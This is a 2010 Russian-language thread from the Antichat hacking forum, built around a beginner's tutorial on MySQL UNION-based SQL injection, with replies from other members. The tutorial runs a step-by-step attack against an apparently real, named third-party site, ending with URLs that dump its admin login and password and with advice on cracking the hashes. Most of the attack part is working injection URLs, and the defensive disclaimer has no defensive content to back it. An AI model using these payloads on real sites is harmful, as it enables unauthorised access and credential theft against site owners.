HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ИНФО > Статьи
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 17.07.2010, 10:58
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами: 8395840

Репутация: 5
По умолчанию

Моя первая статья. Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта». Я сам не так давно начал практиковать SQL-инъекции, и именно поэтому, пока еще свежи воспоминания о том, в чем у меня были проблемы, я постараюсь изложить основы наиболее понятным новичку языков. Опытным хакерам-дедам просьба не беспокоиться. Также, я прекрасно знаю, что тема изъезжена вдоль и поперек и что статей по ней великое множество. Но, тем не менее, я хочу претендовать на то, что моя будет самой понятной. Я совсем не хочу поместить в статью все тонкости и нюансы, просто хочу рассказать основы, необходимые для понимания более полных и профессиональных статей.

Благодарности:

Konqi , ибо именно у него я консультировался в самом начале пути;

Авторам этих статей:

SQL injection и заливка шелла

SQL injection полный FAQ

Итак, приступим.

Что такое SQL Injection? Это внедрение злоумышленником постороннего SQL-кода при помощи составлении специального URL (адреса, для танкистов). Найти уязвимость очень просто. Как – покажу на примере. Здесь у нас, кстати, рассматриваются MySQL базы данных (далее – БД), причем пятой версии.

Код:
http://www.td-vezdehod.ru/news.php?id=774
Казалось бы, что такого особенного в этой странице? 774 – это значение переменной id. Давайте попробуем сунуть к этому значению кавычку:

Код:
http://www.td-vezdehod.ru/news.php?id=774'
Хм, новости исчезли. Теперь давайте попробуем выполнить арифметическое действие:

Код:
http://www.td-vezdehod.ru/news.php?id=775-1
Отображается то же самое, что и при id=774. Это хорошо. Мы можем с уверенностью сказать, что здесь имеет место быть уязвимость. Кстати, очень важный момент. В этом примере при подстановке кавычки на странице исчезают новости, которые там по идее должны быть – это значит, что вывод ошибок отключен. Но чаще, когда мы находим уязвимость, получается ошибка навроде «1064 : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ” ORDER BY p.pid DESC LIMIT 0, 20′ at line 12». Почему же для базы данных наш запрос – ошибочен? Сейчас объясню. Запрос к БД, допустим, выглядит так:

Код:
SELECT * FROM news WHERE id='774'
(Если не понимаете логики запроса – «Выбрать все из news где id='774'»). А что получилось, когда мы подставили кавычку?

Код:
SELECT * FROM news WHERE id='774''.
Логика и синтаксис полетели к чертям и БД не может понять, что мы требуем.

Вы не забыли, что цель SQL-инъекции – сделать свой запрос? Так вот, делать мы его будем при помощи оператора UNION – он служит для объединения двух запросов в один. Но прежде нюанс – количество столбцов до этого UNION и после должно соответствовать. Пока особо в это не вдумывайтесь, это теория, потом поймете. Будем подбирать количество столбцов при помощи оператора ORDER BY. Еще сверхважный момент – при составлении url вместо пробела пишите плюс. И вот еще – в MySQL начало комментария обозначается двойным дефисом --, причем до и после него должен быть пробел (помните про плюс?). Я также читал, что комментарий обозначается /*, не знаю, если честно, в чем отличия. Ну, на всякий случай, давайте дописывать в конец url знак начала комментария. Итак, начинаем подбирать количество столбцов вот так:

Код:
http://www.td-vezdehod.ru/news.php?id=774+order+by+30+--+   Ничего.
http://www.td-vezdehod.ru/news.php?id=774+order+by+10+--+   Содержимое отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+20+--+   Отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+25+--+   Ничего.
http://www.td-vezdehod.ru/news.php?id=774+order+by+22+--+   Отображается.
http://www.td-vezdehod.ru/news.php?id=774+order+by+23+--+   Ничего.
Крайнее число – 22, стало быть, столбцов 22. Если не поняли – при написании числа, меньшего или равного количеству столбцов, содержимое отображается, а при написании числа, большего, чем количество столбцов, ошибка.

Теперь, собственно, UNION. Перед этим лучше поставьте значение id=-1 или допишите что-нибудь ложное, например, 1=0, чтобы содержимое не отображалось и не мешало думать.

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+--+
Ничего не отображается, естественно.

Сейчас нам нужно узнать версию MySQL. Для этого есть функция version(). Узнаем версию мы так:

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
Вы ведь помните, что у нас 22 столбца?

Отображается какая-то фигня) В том числе такое большое красивое число 19. И вместо числа 19 в url подставляем нашу функцию version():

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,version(),20,21,22+--+
Версия 5, отлично! Почему отлично? Потому что в MySQL пятой версии есть такая замечательная штука, как INFORMATION_SCHEMA.TABLES, которая содержит имена всех таблиц БД! И если к ней есть доступ, мы сможем подсмотреть имена таблиц:

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(table_name),20,21,22+from+INFORMATION_SCHEMA.TABLES+--+
Обратите внимание на group_concat(table_name)вместо того же числа 19. Если написать просто table_name, то почти наверняка отобразится одно название и все. А нам нужны все. Результат такого запроса – вывод имен всех таблиц. Теперь просто смотрим на имена и предполагаем, в какой таблице лежит то, что нам нужно. Допустим, нам нужен логин и пароль администратора. Замечаем таблицу AdminSite – давайте посмотрим, что в ней за столбцы. Делаем вот так:

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=AdminSite+--+
INFORMATION_SCHEMA.COLUMNS, обратите внимание. Не тейблс. И не забудьте «где имя таблицы = AdminSite». Так, а что же такое? Пустота. А давайте попробуем использовать такую замечательную вещь, как CHAR. Ищем любой ascii конвертер. Возьмем этот. Вбиваем AdminSite, ниже показывается «65 100 109 105 110 83 105 116 101». Быстренько пихаем в ворд и делаем замену пробелов на запятые. Потом составляем такой url:

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(column_name),20,21,22+from+INFORMATION_SCHEMA.COLUMNS+where+table_name=CHAR(65,100,109,105,110,83,105,116,101)+--+
Я думаю, вы заметили – CHAR(AdminSite в ascii). Теперь получилось! Итак, у нас есть имена столбцов. Теперь приступаем к самому сладкому - мы видим столбцы «login» и «passw». Очевидно, что в них хранится логин и пароль админа. Делаем такой url:

Код:
http://www.td-vezdehod.ru/news.php?id=774+and+1=0+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,group_concat(login,0x3a,passw),20,21,22+from+AdminSite+--+
Обратите внимание на 0x3a между «login» и «passw». Это двоеточие в hex, если написать там просто двоеточие, не выйдет. Итак, на страницу выводится логин и пароль админа. Ура! Но вот важное замечание: хранить пароли в БД в открытом виде довольно небезопасно, поэтому чаще можно извлечь не пароли, а хеши, которые еще нужно расшифровать. Тут много вариантов – попросить на Античате, попробовать онлайн-сервисы, побрутить самому.

Вот, собственно, и все. Надеюсь, моя статейка поможет кому-то. Имхо, SQL инъекции идеальны для начинающего хацкера

Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций. За использование полученных из статьи сведений автор отвественности не несет!

Спасибо за внимание, жду аргументированной критики и вопросов)
 
Ответить с цитированием

  #2  
Старый 17.07.2010, 11:17
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
С нами: 10074686

Репутация: 1204


По умолчанию

Цитата:
Сообщение от None  
Вообще, я сторонник всевозможных уроков «Дилетантам от дилетанта».
Так вот значит откуда на античате столько дилетантов.

Совершенно бестолковая и ненужная статья.

Цитата:
Сообщение от None  
Ищем любой ascii конвертер. Возьмем этот.
Да, это конечно сильно, для каждого пука на сайт заходить.

Лучше бы написал статью про HackBar, что ли..
 
Ответить с цитированием

  #3  
Старый 17.07.2010, 11:32
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами: 8395840

Репутация: 5
По умолчанию

Цитата:
Сообщение от iv.  
Совершенно бестолковая и ненужная статья.
Цитата:
Сообщение от None  
Опытным хакерам-дедам просьба не беспокоиться.
Статья предназначена исключительно для новичков. Она носит характер обучающе-окунающий и подготавливает новичка для прочтения SQL injection полный FAQ, например.
 
Ответить с цитированием

  #4  
Старый 17.07.2010, 11:44
iv.
Познавший АНТИЧАТ
Регистрация: 21.03.2007
Сообщений: 1,200
С нами: 10074686

Репутация: 1204


По умолчанию

Цитата:
Сообщение от None  
Статья предназначена исключительно для новичков. Она носит характер обучающе-окунающий и подготавливает новичка для прочтения SQL injection полный FAQ, например.
Эта статья носит хакактер "как проэксплуатировать sql инъекцию на сайте www.td-vezdehod.ru". Ну и в первом посте ты так же пишешь "Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций", но ни одного слова именно про то, как уберечься, я не увидел.
 
Ответить с цитированием

  #5  
Старый 17.07.2010, 12:45
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами: 8395840

Репутация: 5
По умолчанию

Цитата:
Сообщение от None  
Эта статья носит хакактер "как проэксплуатировать sql инъекцию на сайте www.td-vezdehod.ru"
Этот сайт взят только в качестве примера.

Цитата:
Сообщение от None  
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций
Глупая придирка, ибо в абсолютном большинстве случаев это пишется "на всякий случай".
 
Ответить с цитированием

  #6  
Старый 17.07.2010, 15:21
BrainDeaD
Постоянный
Регистрация: 09.06.2005
Сообщений: 531
С нами: 11010660

Репутация: 439


По умолчанию

Цитата:
Сообщение от Boa  
(Если не понимаете логики запроса – «Выбрать все из news где id='774'»). А что получилось, когда мы подставили кавычку?
Код:
SELECT * FROM news WHERE id='774''.
и.....? что получается, мы видим, а что это за собой влечёт, новичку врятли понятно.
 
Ответить с цитированием

  #7  
Старый 17.07.2010, 15:41
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Отличная статья, просто шедевр! Я по ней хекингу учился, всем советую" Поднимите свой уровень хакерской догадки до уровней небес! Атвичаю.
 
Ответить с цитированием

  #8  
Старый 17.07.2010, 15:58
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 542
С нами: 8885780

Репутация: 672


По умолчанию

лучше бы запостить эту статью не на Ачате а на HackZone-e или т.п.

Boa конечно старание оцениваются, но таких статей здесь море
 
Ответить с цитированием

  #9  
Старый 17.07.2010, 16:02
Fepsis
Постоянный
Регистрация: 17.09.2008
Сообщений: 562
С нами: 9288386

Репутация: 536


По умолчанию

Урезанная версия статьи Dr.Z3r0 (/thread43966.html)

Ну уж на авторскую никак не тянет...

Цитата:
Сообщение от Boa  
Статья написана исключительно в целях помочь всевозможным администраторам уберечься от SQL-инъекций.


Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций"
 
Ответить с цитированием

  #10  
Старый 17.07.2010, 17:44
Boa
Новичок
Регистрация: 30.05.2010
Сообщений: 25
С нами: 8395840

Репутация: 5
По умолчанию

Цитата:
Сообщение от None  
Что-то я не увидел ни одного совета "всевозможным администраторам" как "уберечься от SQL-инъекций"
Уже говорилось

Spyder, м?

Konqi, запощу, пожалуй
 
Ответить с цитированием
Ответ





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Внести депозит

Введите сумму USDT:

Принимается только USDT TRC20. Fake/Flash USDT не засчитывается.

×

Вывести депозит

Сумма USDT:

Ваш USDT TRC20 кошелек:

Заявка будет отправлена администратору. Комиссия форума: 2%.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...